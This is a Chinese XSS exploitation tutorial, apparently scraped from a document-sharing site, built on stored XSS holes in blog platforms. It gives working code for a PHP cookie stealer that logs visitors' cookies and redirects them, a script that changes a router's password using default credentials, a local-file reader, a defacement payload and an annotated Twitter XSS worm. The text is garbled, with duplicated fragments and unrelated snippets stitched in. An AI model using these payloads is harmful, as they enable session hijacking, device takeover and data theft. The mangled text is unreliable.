当前位置:文档之家› 跨站脚本攻击实例解析

跨站脚本攻击实例解析

跨站脚本攻击实例解析
跨站脚本攻击实例解析

跨站脚本攻击实例解析

作者:泉哥

主页:https://www.doczj.com/doc/0b13327396.html,

前言

跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。

漏洞测试

关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下:

漏洞详情

简要描述:

博客大巴存储型XSS漏洞

详细说明:

在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。

但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示:

图1(在首页触发)

图2(打开文章触发)

对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如Acunetix Web Scanner……

漏洞利用

一、窃取Cookie

对于跨站的攻击方法,使用最多的莫过于cookie窃取了,获取cookie后直接借助“明小子”工具或其它可修改cookie的浏览器(如装有Cookies Edit插件的Firefox)将cookie修改为获取的cookie,这样即可获得博客的管理权限。

首先,我们在自定义模板的head代码模块中写入

或者

这里我把脚本放在本机上,你可以根据脚本地址来更改上面的localhost地址。以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的目的,就看你如何发挥了。接下来我们来编写上面的test.php文件,它主要用于获取对方的cookie,其源代码如下:

$cookie =$_GET['cookie'];//以GET方式获取cookie变量值

$ip =getenv('REMOTE_ADDR');//远程主机IP地址

$time=date('Y-m-d g:i:s');//以“年-月-日时:分:秒”的格式显示时间

$referer=getenv('HTTP_REFERER');//链接来源

$agent =$_SERVER['HTTP_USER_AGENT'];//用户浏览器类型

$fp =fopen('cookie.txt', 'a');//打开cookie.txt,若不存在则创建它

fwrite($fp," IP: ".$ip."\n Date and Time: ".$time."\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");//写入文件

fclose($fp);//关闭文件

header("Location: https://www.doczj.com/doc/0b13327396.html,");//将网页重定向到百度,增强隐蔽性

?>

接下来我们访问博客首页,我这里以https://www.doczj.com/doc/0b13327396.html,为测试地址,访问后我们打开http://localhost/cookie.txt看看cookie.txt 文件是否被创建并写入数据,结果如图3所示:

图3

很明显,我们已经成功窃取到cookie了,剩下的事相信大家都知道,这里就不再赘述。

二.渗透路由器

对于处于内网中的用户,我们可以利用XSS来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL:http://admin:admin@192.168.1.1,其实很多路由器都是使用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请求头,如图4所示:

图4

因此我们可以在head代码模块中写入以下语句:

其中1.js源码如下:

window.open("http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=adm in&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=passw ord&Save=%B1%A3+%B4%E6");

下面我们试着用http://newadmin:newpass@192.168.1.1登陆,结果如图5所示:

图5

可见密码已经修改成功!

三、读取本地文件

在不同的浏览器中对本地文件的读取有着不同的限制,之前XEYE team曾有过统计,具体内容如下:1: IE6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。

2: FF3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.

以上测试是利用ajax来读取文件的。但是我在windows7平台上用php测试各个最新版浏览器时发现:1、Firefox 3.6.10、搜狗浏览器 2.2.0.1423、Maxthon 2.5.14、IE8、Chrome 7.0.513.0、360浏览器3.5、

世界之窗3.2、TT浏览器4.8均可跨目录读取本地文件。

2、Opera 10.70不允许读取本地文件,若是读取本地文件会直接给出警告,但你仍可选择继续读取。我测试用的PHP脚本(该脚本位于D:\riusksk\Webroot\reader.php)代码如下:

$handle =fopen("file://c:\sysiclog.txt", "rb")or die("can't open file");

$contents ='';

while(!feof($handle)){

$contents .=fread($handle, 1024);

}

$contents=urldecode($contents);

echo$contents;

//$fp = fopen('info.txt', 'a');

//fwrite($fp,$contents);

//fclose($fp);

fclose($handle);

?>

在存在XSS的地方嵌入上面php文件,方法与cookie劫持一样。由于现在blogbus打不开,可能又是服务器搬迁。这里我以https://www.doczj.com/doc/0b13327396.html,上的漏洞为例进行测试, Firefox下的情况如图6所示:

图6 谷歌浏览器Chrome情况如图7所示:

图7 搜狗浏览器下的情况如图8所示:

图8 傲游浏览器下的情况:

图9 IE8下的情况如图10所示:

图10 360安全浏览器情况如图11所示:

图11 世界之窗情况如图12所示:

图12 TT浏览器情况如图13所示:

图13 Opera下直接给出警告如图14所示:

图14

当然,这些漏洞除了读取文件外,还可写入一句话木马,为进一步提权提供条件。

四、Hacking HomePage

相信对于很多初学Hack的朋友,都会对那一张张的黑页独有情钟,尤其是当前中美黑客大战中,中国人挂在白宫网站上黑页,让人至今记忆犹新!本节主要就是利用XSS来黑掉别人博客主页,但这里的黑页与入侵服务器来修改主页有很大区别,利用XSS来黑页其实并不是修改服务器上的页面,它只是通过JavaScript,CSS及其它WEB技术来修改页面。这主要就是通过注入js代码,然后在后台执行以达到盗取cookie或劫持浏览器的目的,这些代码往往都是一些HTML或JavaScript代码(往往是使用InnerHTML或者document.write命令来动态创建文本,图像及其它数据信息)。在本文编写过程中,我又发现了博客大巴上的几处跨站漏洞,就在“博客设置”中,这里我们就以其中“基础设置”下的“自定义header”一栏为例。我们先在向其写入下列语句:

接下来编写1.js代码:

document.write("

Hacked By riusksk

"); document.write("

Just for test !

src=https://www.doczj.com/doc/0b13327396.html,/6233861/resource_6233861_1283677044i.jpg>

进而控制程序的执行流程。这里我要讲的XSS攻击方式与溢出有着类似的特点,在此我们以“中国博客网(https://www.doczj.com/doc/0b13327396.html,)”为实例进行讲解。经过本人的多次测试,发现上面有着不少XSS漏洞,后来听从乱雪同志的建议,将阵地转移到blogbus,但正如上面所讲到的,结果还是漏洞一堆,看来很多技术人员把博客放在百度空间还是有一定道理,至少它比这些博客网站安全多了。现在回归正传,本节就以发表日志中存在的跨站漏洞为例。我们先像往常一样在日志中输入,发表后再查看日志时并未触发脚本,因为其中的“<”、“>”均被过滤掉了,如图16所示:

图16

通常<>被过滤掉,xss基本没多大希望了,很多人都会放弃掉了。但是经过本人多次的测试,发现当博客的内容显示方式被设置为“摘要”的时候,也就是如图17所示的情况:

图17

在这种情况下,博客首页上面显示的文章均会只显示博文的前几行而已,如果此时我们的XSS语句刚好到达这个省略点时,那么它就会因被省略掉而未对其进行过滤,进而触发漏洞。当XSS语句刚好处于这个省略点时,它并未在页面中显示,但仍包含于网页之中。这个省略点就像溢出攻击的“溢出点(返回地址)”一样,通过填充数据到这个点即可触发漏洞。经过测试发现,当XSS语句处于第五行时就可触发漏洞。或者放在第三或四行,接着再在XSS语句后面写几行其它内容,同样也可达到执行脚本的目的。因此这里我们可以在日志中构造如下语句:

AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAA

其中每行‘A’的个数不限,只要能凑足一行就行了,或者用其它数据填充也是一样的。我们在首页中试着看看效果:

图18

正如图18所示,我们已经成功跨站了!再看下此时的源码情况,如图19所示:

图19

很显然,处于省略点的XSS语句并没有经过过滤,这样我们就绕过了它的字符过滤保护!但是如果我们打开这篇博文并不能实现跨站,只有XSS语句处于省略部分时才可达到以上效果。Blogcn上面还有许多处XSS漏洞,但感觉这处的利用方法比较有趣,就提出来与大家分享。虽然这并不是真正意义上的溢出攻击,但如果你嵌入的真正用于溢出某ActiveX控件的代码,比如使用heap spray技术等等,还有之前出现的IE iframe溢出漏洞,利用这些漏洞也是可以实现真正意义上的溢出攻击的。

六、XSS Worm

随着WEB2.0时代的到来,而Ajax就是WEB2.0的标志性技术。AJAX即“Asynchronous JavaScript and XML”(异步JavaScript和XML),AJAX并非缩写词,而是由Jesse James Gaiiett创造的名词,是指一种创建交互式网页应用的网页开发技术。Ajax的出现为XSS蠕虫的发展提供的很大的便利,也因此加速了xss worm技术的传播。这里我们就以之前爆发的Twitte蠕虫为例进行分析,这个XSS worm

之前在我的博客上也有提到()。该跨站漏洞主要出现在"Settings" 菜单下的 "Name"文本域以及"More info URL"文本域,是由一位来自美国纽约的17岁小伙子写的,当时他花了2小时就全搞定了。其源码分析如下:

function XHConn()

{

//创建XMLHttpRequest对象

var xmlhttp, bComplete =false;

//由于 Internet Explorer 浏览器使用 MSXML 解析器处理 XML,而且MSXML 实际上有两种不同的版本,因此采用以下两种方式创建对象

try{ xmlhttp =new ActiveXObject("Msxml2.XMLHTTP");}

catch(e){try{ xmlhttp =new ActiveXObject("Microsoft.XMLHTTP");}

//下面是针对非IE浏览器(包括Mozilla、Firefox、Safari、Opera……)来创建 XMLHttpRequest 对象catch(e){try{ xmlhttp =new XMLHttpRequest();}

catch(e){ xmlhttp =false;}}}

if(!xmlhttp)return null;//若 XMLHttpRequest 对象创建失败则返回NULL

this.connect =function(sURL, sMethod, sVars, fnDone)//创建连接回调函数

{

if(!xmlhttp)return false;

bComplete =false;

sMethod = sMethod.toUpperCase();//将发送方式转换为大写字母,即GET或POST try{

if(sMethod =="GET")

{

xmlhttp.open(sMethod, sURL+"?"+sVars, true);//以异步连接的方式配置GET请求

sVars ="";

}

else

{

xmlhttp.open(sMethod, sURL, true);

//配置请求头数据

xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");

xmlhttp.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

}

//设置每次请求的就绪状态发生变化时调用的回调函数

xmlhttp.onreadystatechange =function(){

if(xmlhttp.readyState ==4&&!bComplete)//当响应已完成

{

bComplete =true;

fnDone(xmlhttp);//当服务器响应时就会调用回调函数fnDone(),不过这里没有给出此函数}};

xmlhttp.send(sVars);//发送请求

}

catch(z){return false;}

return true;

};

return this;

}

function urlencode( str ){

var histogram ={}, tmp_arr =[];

var ret = str.toString();//返回字符串

var replacer =function(search, replace, str){

var tmp_arr =[];

tmp_arr = str.split(search);//从search指定的参数将str分割成字符串数组return tmp_arr.join(replace);//把数组tmp_arr[]中的所有元素通过replace指定的分隔符进行连接,以组成一个字符串

};

//对下列字符进行URL编码转换

histogram["'"]='%27';

histogram['(']='%28';

histogram[')']='%29';

histogram['*']='%2A';

histogram['~']='%7E';

histogram['!']='%21';

histogram['%20']='+';

ret = encodeURIComponent(ret);

for (search in histogram){

replace = histogram[search];

ret = replacer(search, replace, ret)

}

//将%[a-z0-9]这样格式的字符转换为大写字母

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2){

return"%"+m2.toUpperCase();

});

return ret;

}

var content = document.documentElement.innerHTML;//当前浏览器中的HTML内容

userreg =new RegExp(/

var username = userreg.exec(content);

username = username[1];

跨站脚本攻击实例解析

跨站脚本攻击实例解析 作者:泉哥 主页:https://www.doczj.com/doc/0b13327396.html, 前言 跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。 漏洞测试 关于对XSS的漏洞测试,这里就以博客大巴为例进行测试,最近我也在上面发现了多处跨站漏洞,其中两处已公布在WooYun网站上,其主要内容如下: 漏洞详情 简要描述: 博客大巴存储型XSS漏洞 详细说明: 在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。 但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给WooYun的主要目的是让blogbus修补此漏洞,因为我的博客就在上面!^_^ 其余五处漏洞分别在“编辑自定义模板”中,由于对代码模块head,index,index-post,detail,detail-post等处的代码过滤不严,导致跨站的发生,分别向其写入,为便于区别,我将提示语句更改为对应的名称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2所示: 图1(在首页触发)

跨网站脚本攻击(XSS)的原理与防范对策

摘要:随着计算机网络技术的迅速发展,网络安全问题已变得越来越受到人们的重视,网络攻击形式多种多样,很多蠕虫病毒、木马病毒等植入到某些网页中,给网络用户带来了很大的安全隐患。其中XSS跨网站脚本攻击,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。本文主要阐述了XSS的机理和特点,重点分析了网页代码的检测以及木马的特征,并针对这些特点进行了一些相应防范对策的探讨。 关键词:网页木马; XSS;攻击;防范 一、前言 网页木马是一种新型的恶意代码,一些攻击者将它人为的植入到服务器端的HTML页面中,通过客户端对服务器的访问来传播恶意攻击代码,它主要是通过浏览器以及其中的一些插件漏洞来进行植入,网页木马是一种客户端的攻击方式,它能有效的绕过防火墙的检测,隐秘的在客户端将恶意代码植入,客户端在不知情的情况下将这些恶意可执行程序进行下载和执行。给互联网用户造成严重的安全威胁。 在Web 出现以后,XSS的危害性达到了十分严重的地步。跨站脚本英文名称是(Cross Site Script),为了与层叠样式表(Cascading Style Sheets简称CSS)区分,故命名为XSS。 XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面时,嵌入其中的脚本将被解释执行。XSS 具有自身的独有特点,目前国内外很多研究人员围绕XSS的防御进行了深入的探讨与研究,同时攻击者也在采用一些更先进的手段来提高木马的攻击隐蔽性,用以提高木马的攻击成功率,因此,XSS的机理与防范对策研究已成为了当前计算机工作者的一个重要课题。 二、XSS的机理与特征 的成因 跨网站脚本XSS漏洞的成因其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web 程序—>用户浏览器。目前,所有的网站上几乎都提供一个站内或站外信息搜索框。在此搜索框中,您可以搜索到网站上任何可用的东西。这个搜索表单看起来这样: 图1-1

网站常见三种漏洞攻击及防范方法

国内外黑客组织或者个人为牟取利益窃取和篡改网络信息,已成为不争的事实,在不断给单位和个人造成经济损失的同时,我们也应该注意到这些威胁大多是基于Web网站发起的攻击,在给我们造成不可挽回的损失前,我们有必要给大家介绍几种常见的网站漏洞,以及这些漏洞的防范方法,目的是帮助广大网站管理者理清安全防范思绪,找到当前的防范重点,最大程度地避免或减少威胁带来的损失。 1、SQL语句漏洞 也就是SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。 有效防范手段:对于SQL注入问题的一般处理方法是账户最小权限原则。以下几种方法推荐使用: 对用户输入信息进行必要检查 对一些特殊字符进行转换或者过滤 使用强数据类型 限制用户输入的长度 需要注意:这些检查要放在server运行,client提交的任何东西都是不可信的。使用存储过程,如果一定要使用SQL语句,那么请用标准的方式组建SQL 语句。比如可以利用parameters对象,避免用字符串直接拼SQL命令。当SQL 运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节。 2、网站挂马 挂马就是在别人电脑里面(或是网站服务器)里植入木马程序,以盗取一些信息或者控制被挂马的电脑做一些不法的勾当(如攻击网站,传播病毒,删除资料等)。网页挂马就是在网页的源代码中加入一些代码,利用漏洞实现自动下载木马到机器里。网站挂马的形式可分为框架挂马、数据库挂马、后台挂马、服务器挂马以及其他形式的挂马方式。 有效防范手段:要防止网站被挂马,可以采取禁止写入和目录禁止执行的功能,这两项功能相组合,就可以有效地防止 ASP木马。此外,网站管理员通过FTP上传某些数据,维护网页时,尽量不安装asp的上传程序。这对于常被ASP 木马影响的网站来说,会有一些帮助。当然是用专业的查杀木马工具也是不错的防护措施。

SQL注入及XSS(跨站脚本)攻击防御技术方案

SQL注入及XSS(跨站脚本)攻击防御技术方案 SQL注入 、、什么是SQL注入 SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。 SQL注入利用的是正常的HTTP服务端口,表面上看来和正常的web访问没有区别,隐蔽性极强,不易被发现。 、、SQL注入的危害 SQL注入的主要危害包括: 1、未经授权状况下操作数据中的数据 2、恶意篡改网页内容 3、私自添加系统账号或是数据库使用者账号 4、网页挂木马。 、、SQL注入的方法 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递 给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵比方 说,下面的这行代码就会演示这种漏洞: statement := "SELECT * FROM users WHERE name = '" + userName + "'; "

这种代码的设计目的是将一个特定的用户从其用户表中取出,但是,如果用户名被一个恶意的用户用一种特定的方式伪造,这个语句所执行的操作可能就不仅仅是代码的作者所期望的那样了。例如,将用户名变量(即username)设置为:a' or 't'='t,此时原始语句发生了变化: SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。 在一些SQL服务器上,如在SQL  Server中,任何一个SQL命令都可以通过这种方法被注入,包括执行多个语句。下面语句中的username的值将会导致删除“users”表,又可以从“data”表中选择所有的数据(实际上就是透露了每一个用户的信息)。 a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 这就将最终的SQL语句变成下面这个样子: SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL执行不会将执行同样查询中的多个命令作为一项安全措施。这会防止攻击者注入完全独立的查询,不过却不会阻止攻击者修改查询。 2.Incorrect type handling 如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检

跨站脚本攻击的危害和防护方法

跨站脚本攻击的危害和防护方法 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说“我发现了一个XSS 漏洞”,显然他是在说跨站脚本攻击。 危害 为了搜集用户信息,攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、ActiveX或Flash 以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的“自动攻击”。 攻击三部曲 1.HTML注入。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:alert(1)。 2.做坏事。如果您觉得警告框还不够刺激,当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。 3.诱捕受害者。 从网站开发者角度,如何防护XSS攻击? 来自应用安全国际组织OWASP的建议,对XSS最佳的防护应该结合以下两种方法:验证所有输入数据,有效检测攻击;对所有输出数据进行适当的编码,以防止任何已成功注入的脚本在浏览器端运行。具体如下: ·输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。 ·强壮的输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。 ·明确指定输出的编码方式(如ISO 8859-1或UTF 8):不要允许攻击者为你的用户选择编码方式。 ·注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。 ·警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。 从网站用户角度,如何防护XSS攻击? 当你打开一封Email或附件、浏览论坛帖子时,可能恶意脚本会自动执行,因此,在做这些操作时一定要特别谨慎。建议在浏览器设置中关闭JavaScript。如果使用IE浏览器,将安全级别设置到“高”。具体可以参照浏览器安全的相关文章。

WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS))

WebGoat学习笔记九 —跨站脚本攻击(Cross-Site Scripting (XSS)) 瞿靖东2015/11/10 版本号:WebGoat 5.4 1、使用XSS钓鱼(Phishing with XSS) 技术概念或主题(Concept / T opic T o T each) 在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP响应时容易造成XSS。在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。 技术原理(How It works ) HTML文档内容很容易篡改的,如果你有权限操作页面源代码。 总体目标(General Goals ) 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam 操作方法(Solutions) 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合起来使用: 受害人填写一个表格; 以读取脚本的形式,将收集到的信息发送给攻击者。 一个带用户名和密码输入框的表格如下:




This feature requires account login:



Enter Username:

Enter Password:




web漏洞攻击

Web应用是指采用B/S架构、通过HTTP/HTTPS协议提供服务的统称。随着互联网的广泛使用,Web应用已经融入到日常生活中的各个方面:网上购物、网络银行应用、证券股票交易、政府行政审批等等。在这些Web访问中,大多数应用不是静态的网页浏览,而是涉及到服务器侧的动态处理。此时,如果Java、PHP、ASP等程序语言的编程人员的安全意识不足,对程序参数输入等检查不严格等,会导致Web应用安全问题层出不穷。 本文根据当前Web应用的安全情况,列举了Web应用程序常见的攻击原理及危害,并给出如何避免遭受Web 攻击的建议。 1Web应用漏洞原理 Web应用攻击是攻击者通过浏览器或攻击工具,在URL或者其它输入区域(如表单等),向Web服务器发送特殊请求,从中发现Web应用程序存在的漏洞,从而进一步操纵和控制网站,查看、修改未授权的信息。 1.1Web应用的漏洞分类 1、信息泄露漏洞 信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露Web服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。 造成信息泄露主要有以下三种原因: ?Web服务器配置存在问题,导致一些系统文件或者配置文件暴露在互联网中; ?Web服务器本身存在漏洞,在浏览器中输入一些特殊的字符,可以访问未授权的文件或者动态脚本文件源码; ?Web网站的程序编写存在问题,对用户提交请求没有进行适当的过滤,直接使用用户提交上来的数据。 2、目录遍历漏洞 目录遍历漏洞是攻击者向Web服务器发送请求,通过在URL中或在有特殊意义的目录中附加“../”、或者附加“../”的一些变形(如“..\”或“..//”甚至其编码),导致攻击者能够访问未授权的目录,以及在Web服务器的根目录以外执行命令。 3、命令执行漏洞 命令执行漏洞是通过URL发起请求,在Web服务器端执行未授权的命令,获取系统信息,篡改系统配置,控制整个系统,使系统瘫痪等。 命令执行漏洞主要有两种情况:

跨站脚本攻击XSS攻击与防范指南

跨站脚本攻击XSS攻击与防范指南 文章目录 XSS攻击与防范指南 (1) 第一章、XSS的定义 (1) 第二章、XSS漏洞代码 (1) 第三章、利用XSS盗取cookies. 3 第四章、防范XSS漏洞 (4) 第四章、XSS攻击方法 (4) 第六章、利用Flash进行XSS攻击 (6) 第七章、上传文件进行XSS攻击 (7) 第八章、利用XSS漏洞进行钓鱼 (7) 第一章、XSS的定义 从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。 这些XSS跨站脚本漏洞可能是: *网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。 *网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。 *信任站点(特权区域)存在跨站脚本漏洞 一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。 第二章、XSS漏洞代码 打开记事本,复制下面的代码到几时本中: